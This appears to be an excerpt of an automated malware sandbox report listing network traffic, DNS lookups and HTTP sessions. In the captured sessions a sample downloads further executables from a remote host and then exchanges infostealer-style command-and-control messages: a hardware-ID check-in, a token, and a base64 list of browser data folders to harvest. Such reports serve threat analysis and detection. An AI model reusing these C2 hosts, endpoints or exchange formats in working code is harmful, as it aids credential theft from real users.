Oct 26, 2024 05:55:12.135859013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.135875940 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.135889053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.135930061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.135930061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.135946035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.136291981 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136322021 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136347055 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136373997 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136394024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.136423111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.136460066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.136465073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.136512995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.136568069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.136569023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.136599064 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136650085 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136650085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.136650085 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136696100 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136702061 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136738062 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136758089 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136773109 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136785030 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136827946 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136832952 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136862040 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136879921 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136897087 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136905909 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136930943 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136945009 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.136965990 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:12.136980057 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.137005091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.137015104 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:12.137041092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.137052059 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.137084007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.137140989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.137173891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.137187958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.137218952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.137227058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:12.137270927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:12.137294054 CEST	80	49745	185.215.113.206	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 05:54:02.423096895 CEST	192.168.2.4	1.1.1.1	0xce45	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:54:02.453665972 CEST	192.168.2.4	1.1.1.1	0x2f1b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:29.559549093 CEST	192.168.2.4	1.1.1.1	0xdeb	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:41.444892883 CEST	192.168.2.4	1.1.1.1	0x8e23	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:49.823242903 CEST	192.168.2.4	1.1.1.1	0x4f5	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:56:00.878885031 CEST	192.168.2.4	1.1.1.1	0xb0e6	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:56:00.890144110 CEST	192.168.2.4	1.1.1.1	0x2d12	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 05:54:02.432735920 CEST	1.1.1.1	192.168.2.4	0xce45	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:54:02.466564894 CEST	1.1.1.1	192.168.2.4	0x2f1b	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:54:02.466564894 CEST	1.1.1.1	192.168.2.4	0x2f1b	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:29.568799019 CEST	1.1.1.1	192.168.2.4	0xdeb	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:41.455034018 CEST	1.1.1.1	192.168.2.4	0x8e23	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:55:49.830701113 CEST	1.1.1.1	192.168.2.4	0x4f5	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:56:00.793744087 CEST	1.1.1.1	192.168.2.4	0xfe67	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 26, 2024 05:56:00.886414051 CEST	1.1.1.1	192.168.2.4	0xb0e6	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	185.215.113.16	80	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:54:21.294617891 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:54:22.355588913 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:54:22 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Sat, 26 Oct 2024 03:45:05 GMT Connection: keep-alive ETag: "671c65c1-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J@WkJJ @.rsrc@.idata @ 0*@ujtayirb0@rmnowbouJ@.taggant0J"@
Oct 26, 2024 05:54:22.355643988 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:54:22.355696917 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:54:22.355729103 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 05:54:22.355763912 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \t
Oct 26, 2024 05:54:22.355792046 CEST	24	IN	Data Raw: 97 7f 25 f5 fe db 45 17 60 6b e0 7f 8c 8b 27 d9 d7 eb 1a c3 1e cf 18 7d Data Ascii: %E`k'}
Oct 26, 2024 05:54:22.355823994 CEST	1236	IN	Data Raw: e0 1e 93 6f 28 5b 82 c1 58 7a de dc 13 2a 8a 12 70 0b 27 fd ef 77 1a b7 de cf 18 3d f1 de 41 b5 af 6b de e8 fc d3 c5 f3 57 5b b6 1d 43 00 59 0d 5c cd f6 f8 fe 6f a5 af 3f 5c 29 d8 2f 6c 7e 95 83 77 6a 3c f0 6c a6 a1 02 0b ce 45 12 27 05 b2 5e 4f Data Ascii: o([Xz*p'w=AkW[CY\o?\)/l~wj<lE'^OSJZ_[H%`lWG\&olVZ<[5m4\TF"SZtM{s"OM(oE_[Gn/EkR\|\3_S&r`O_
Oct 26, 2024 05:54:22.355858088 CEST	1236	IN	Data Raw: 2d 7b 64 1a 11 30 9e 8e 15 a7 be 30 09 a2 2f 4b 68 4d 61 d6 e2 4f 8e c9 80 8c 19 45 df f4 97 50 29 ab 79 48 62 d5 be fa 21 0a 87 83 92 4c 4a 98 67 19 27 e3 b2 fd c9 d8 32 90 60 76 91 a1 58 5c 9d 51 26 20 58 27 4b 93 f2 b2 7e cf f5 2c 68 69 7b 5b Data Ascii: -{d00/KhMaOEP)yHb!LJg'2`vX\Q& X'K~,hi{[ejbg1k~3l,0?3rAbr][g`7pOc3\J$[y^>M9\|HnR}E`[MS%c[0/O\|rVI%*
Oct 26, 2024 05:54:22.355890036 CEST	424	IN	Data Raw: 32 4f 71 07 36 8a 34 6d dc 8b b5 71 53 15 27 16 82 5c 28 a1 d7 e4 1d 1e 31 94 26 01 f6 bc dd 19 43 ec f6 c0 d3 89 13 2c 28 c2 54 d3 71 c4 00 b1 58 aa 68 69 4c 50 27 fc 11 91 bd 0e f4 d6 a2 b0 d8 a5 cc 9c 00 78 7b 98 07 cb a1 10 59 8f 96 fd 40 4f Data Ascii: 2Oq64mqS'\(1&C,(TqXhiLP'x{Y@O9!g"\|gz-{QfAw nH~EzaOjilL^Q)nz<H-JnL-]5H_g}}+PS)&}Ht%VLJFHIHG
Oct 26, 2024 05:54:22.355923891 CEST	1236	IN	Data Raw: 35 98 4e ad 15 dd 9e 99 0f af 10 bf 03 64 04 a1 9d ab f9 fc 13 5f 0e e0 83 c8 a7 66 f5 ce ce 00 dc a3 2c f6 f3 32 32 8e 44 2b bf b9 65 6d f2 55 0a 83 44 d0 0b cb 4a de fc 7e a8 10 11 84 0e 58 da 06 a7 57 91 ec 8d 7e bb 6b af 5f f4 b0 21 0e d3 1f Data Ascii: 5Nd_f,22D+emUDJ~XW~k_!!N'Sl{'EXO]'e.L2",fphA/fxQNMMomQB?/uW'Aq!y #A{VWjV)u)g,F3{%*\|8m
Oct 26, 2024 05:54:22.361232996 CEST	1236	IN	Data Raw: 73 09 9f 66 ee 9c eb a5 55 66 35 95 1a 22 1b a4 21 96 da 11 c4 ee 69 b2 df 92 b6 fb d7 d7 2f de 47 49 cf db a9 31 6b 40 3e 16 d0 ac c7 5a 61 b4 83 27 d6 da 99 b4 53 0c 22 d9 96 da 37 ed ec c8 5f f8 18 35 1c b7 5a ae 6a 9f da 41 24 ed dd 74 5b 6d Data Ascii: sfUf5"!i/GI1k@>Za'S"7_5ZjA$t[mt9 6!sAPF[,{m/gk}JXA7@ u&0Ag_pb_W=xpWOMc&\|WkdS:2d
Oct 26, 2024 05:54:33.783338070 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:54:34.096103907 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:54:33 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 26 Oct 2024 03:44:58 GMT Connection: keep-alive ETag: "671c65ba-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 20 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 fa 70 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$ i@Pip@P%d% %(@.rsrc %8@.idata %8@ )%:@rhebxyzrpO<@gzayextqi@.taggant0 i"@
Oct 26, 2024 05:54:45.091556072 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 05:54:45.394906998 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 03:54:45 GMT Content-Type: application/octet-stream Content-Length: 2831360 Last-Modified: Sat, 26 Oct 2024 03:26:14 GMT Connection: keep-alive ETag: "671c6156-2b3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 41 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +A}+`Ui` @ @.rsrc`2@.idata 8@rlkngmqk**:@jjmnbtpn ++@.taggant@+"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	5460	C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:54:47.505044937 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:54:48.398547888 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:54:48.400598049 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"puma------FCFBGIDAEHCFIDGCBGII--
Oct 26, 2024 05:54:48.694242001 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:48 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 49 30 4f 44 41 34 59 7a 5a 6a 59 7a 45 34 4e 54 51 31 59 32 5a 6d 4e 54 51 78 59 6a 6b 34 4d 6a 49 35 4f 44 41 33 4d 7a 63 35 4f 47 4e 69 5a 44 68 68 4d 32 59 7a 4f 54 55 35 59 32 56 68 4d 54 42 6a 4e 6a 6b 30 4e 57 49 30 4d 7a 59 33 4f 44 41 34 4e 7a 4e 69 5a 6d 52 6c 4d 54 5a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTI0ODA4YzZjYzE4NTQ1Y2ZmNTQxYjk4MjI5ODA3Mzc5OGNiZDhhM2YzOTU5Y2VhMTBjNjk0NWI0MzY3ODA4NzNiZmRlMTZifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 26, 2024 05:54:48.695270061 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"browsers------IEHIIIJDAAAAAAKECBFB--
Oct 26, 2024 05:54:48.976197958 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:48 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
